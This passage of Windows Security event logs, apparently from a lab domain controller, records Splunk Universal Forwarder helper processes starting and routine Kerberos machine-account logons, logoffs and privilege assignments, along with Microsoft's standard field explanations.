Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:25:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257339
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:25:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257343
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4E8FA6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:25:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257342
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4E8FA6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50840

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:25:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257341
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4E8FA6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:26:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257344
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:26:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257346
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:26:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257345
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:26:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257347
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:26:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257348
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1238
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:26:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257350
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x58c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:26:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257349
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x85c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:26:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257353
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EC4EA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:26:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257352
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4EC4EA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50853

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:26:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257351
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EC4EA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:27:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257359
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EC880

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:27:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257358
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4EC880
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50857

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:27:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257357
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EC880

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:27:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257356
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EC814

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:27:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257355
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4EC814
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50856

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:27:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257354
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4EC814

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:27:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257360
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x117c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257361
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:27:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257362
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x99c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

